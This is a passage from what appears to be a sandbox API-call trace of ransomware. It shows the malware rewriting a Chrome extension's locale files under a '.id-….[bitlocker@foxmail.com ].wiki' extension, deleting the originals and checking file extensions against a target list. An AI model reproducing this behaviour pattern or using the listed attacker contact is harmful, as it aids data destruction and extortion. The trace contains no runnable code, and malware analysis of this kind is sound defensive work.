dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0180.049] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0180.050] GetLastError () returned 0x0 [0180.050] ReadFile (in: hFile=0x320, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x10f, lpOverlapped=0x0) returned 1 [0180.051] WriteFile (in: hFile=0x198, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x110, lpOverlapped=0x0) returned 1 [0180.052] ReadFile (in: hFile=0x320, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0180.052] WriteFile (in: hFile=0x198, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0180.052] SetEndOfFile (hFile=0x198) returned 1 [0180.052] CloseHandle (hObject=0x198) returned 1 [0180.052] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0180.052] SetEndOfFile (hFile=0x320) returned 1 [0180.053] CloseHandle (hObject=0x320) returned 1 [0180.053] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0180.053] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json")) returned 1 [0180.054] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json") returned 151 [0180.054] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json") returned 151 [0180.054] lstrlenW (lpString=".doc") returned 4 [0180.054] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.054] lstrlenW (lpString=".docx") returned 5 [0180.054] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.054] lstrlenW (lpString=".pdf") returned 4 [0180.054] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.054] lstrlenW (lpString=".xls") returned 4 [0180.054] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.054] lstrlenW (lpString=".xlsx") returned 5 [0180.054] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.054] lstrlenW (lpString=".ppt") returned 4 [0180.054] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.054] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json") returned 151 [0180.054] lstrlenW (lpString=".zip") returned 4 [0180.054] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.054] lstrlenW (lpString=".rar") returned 4 [0180.054] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.054] lstrlenW (lpString=".bz2") returned 4 [0180.054] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.054] lstrlenW (lpString=".7z") returned 3 [0180.054] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.054] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json") returned 151 [0180.054] lstrlenW (lpString=".dbf") returned 4 [0180.054] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.054] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json") returned 151 [0180.054] lstrlenW (lpString=".1cd") returned 4 [0180.054] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.054] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json") returned 151 [0180.054] lstrlenW (lpString=".jpg") returned 4 [0180.054] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.055] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json") returned 151 [0180.055] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json") returned 151 [0180.055] lstrlenW (lpString=".doc") returned 4 [0180.055] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.055] lstrlenW (lpString=".docx") returned 5 [0180.055] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.055] lstrlenW (lpString=".pdf") returned 4 [0180.055] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.055] lstrlenW (lpString=".xls") returned 4 [0180.055] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.055] lstrlenW (lpString=".xlsx") returned 5 [0180.055] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.055] lstrlenW (lpString=".ppt") returned 4 [0180.055] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.055] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json") returned 151 [0180.055] lstrlenW (lpString=".zip") returned 4 [0180.055] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.055] lstrlenW (lpString=".rar") returned 4 [0180.055] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.055] lstrlenW (lpString=".bz2") returned 4 [0180.055] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.055] lstrlenW (lpString=".7z") returned 3 [0180.055] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.055] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json") returned 151 [0180.055] lstrlenW (lpString=".dbf") returned 4 [0180.055] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.055] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json") returned 151 [0180.055] lstrlenW (lpString=".1cd") returned 4 [0180.055] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.055] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json") returned 151 [0180.056] lstrlenW (lpString=".jpg") returned 4 [0180.056] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.056] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0180.056] lstrlenW (lpString="messages.json") returned 13 [0180.056] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0180.056] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=256) returned 1 [0180.056] CloseHandle (hObject=0x320) returned 1 [0180.056] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json")) returned 0x2020 [0180.056] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.057] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0180.057] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0180.057] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0180.057] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0180.057] GetLastError () returned 0x0 [0180.057] ReadFile (in: hFile=0x320, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x100, lpOverlapped=0x0) returned 1 [0180.058] WriteFile (in: hFile=0x198, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x110, lpOverlapped=0x0) returned 1 [0180.059] ReadFile (in: hFile=0x320, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0180.059] WriteFile (in: hFile=0x198, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0180.059] SetEndOfFile (hFile=0x198) returned 1 [0180.059] CloseHandle (hObject=0x198) returned 1 [0180.059] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0180.059] SetEndOfFile (hFile=0x320) returned 1 [0180.060] CloseHandle (hObject=0x320) returned 1 [0180.060] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0180.060] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json")) returned 1 [0180.061] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json") returned 151 [0180.061] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json") returned 151 [0180.061] lstrlenW (lpString=".doc") returned 4 [0180.061] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.061] lstrlenW (lpString=".docx") returned 5 [0180.061] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.061] lstrlenW (lpString=".pdf") returned 4 [0180.061] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.061] lstrlenW (lpString=".xls") returned 4 [0180.061] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.061] lstrlenW (lpString=".xlsx") returned 5 [0180.061] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.061] lstrlenW (lpString=".ppt") returned 4 [0180.061] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.061] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json") returned 151 [0180.061] lstrlenW (lpString=".zip") returned 4 [0180.061] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.061] lstrlenW (lpString=".rar") returned 4 [0180.061] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.061] lstrlenW (lpString=".bz2") returned 4 [0180.061] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.061] lstrlenW (lpString=".7z") returned 3 [0180.061] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.061] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json") returned 151 [0180.061] lstrlenW (lpString=".dbf") returned 4 [0180.061] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.061] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json") returned 151 [0180.062] lstrlenW (lpString=".1cd") returned 4 [0180.062] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.062] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json") returned 151 [0180.062] lstrlenW (lpString=".jpg") returned 4 [0180.062] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.062] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json") returned 151 [0180.062] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json") returned 151 [0180.062] lstrlenW (lpString=".doc") returned 4 [0180.062] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.062] lstrlenW (lpString=".docx") returned 5 [0180.062] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.062] lstrlenW (lpString=".pdf") returned 4 [0180.062] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.062] lstrlenW (lpString=".xls") returned 4 [0180.062] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.062] lstrlenW (lpString=".xlsx") returned 5 [0180.062] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.062] lstrlenW (lpString=".ppt") returned 4 [0180.062] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.062] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json") returned 151 [0180.062] lstrlenW (lpString=".zip") returned 4 [0180.062] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.062] lstrlenW (lpString=".rar") returned 4 [0180.062] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.062] lstrlenW (lpString=".bz2") returned 4 [0180.062] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.062] lstrlenW (lpString=".7z") returned 3 [0180.062] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.062] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json") returned 151 [0180.063] lstrlenW (lpString=".dbf") returned 4 [0180.063] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.063] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json") returned 151 [0180.063] lstrlenW (lpString=".1cd") returned 4 [0180.063] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.063] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json") returned 151 [0180.063] lstrlenW (lpString=".jpg") returned 4 [0180.063] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.063] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0180.063] lstrlenW (lpString="messages.json") returned 13 [0180.063] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0180.245] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=253) returned 1 [0180.245] CloseHandle (hObject=0x2e0) returned 1 [0180.245] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json")) returned 0x2020 [0180.245] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.245] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0180.245] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0180.245] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0180.245] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0180.246] GetLastError () returned 0x0 [0180.246] ReadFile (in: hFile=0x2e0, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xfd, lpOverlapped=0x0) returned 1 [0180.247] WriteFile (in: hFile=0x158, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x100, lpOverlapped=0x0) returned 1 [0180.248] ReadFile (in: hFile=0x2e0, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0180.248] WriteFile (in: hFile=0x158, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0180.248] SetEndOfFile (hFile=0x158) returned 1 [0180.248] CloseHandle (hObject=0x158) returned 1 [0180.248] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0180.248] SetEndOfFile (hFile=0x2e0) returned 1 [0180.249] CloseHandle (hObject=0x2e0) returned 1 [0180.249] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0180.249] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json")) returned 1 [0180.530] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json") returned 151 [0180.530] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json") returned 151 [0180.530] lstrlenW (lpString=".doc") returned 4 [0180.530] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.530] lstrlenW (lpString=".docx") returned 5 [0180.530] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.530] lstrlenW (lpString=".pdf") returned 4 [0180.530] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.530] lstrlenW (lpString=".xls") returned 4 [0180.530] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.530] lstrlenW (lpString=".xlsx") returned 5 [0180.530] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.530] lstrlenW 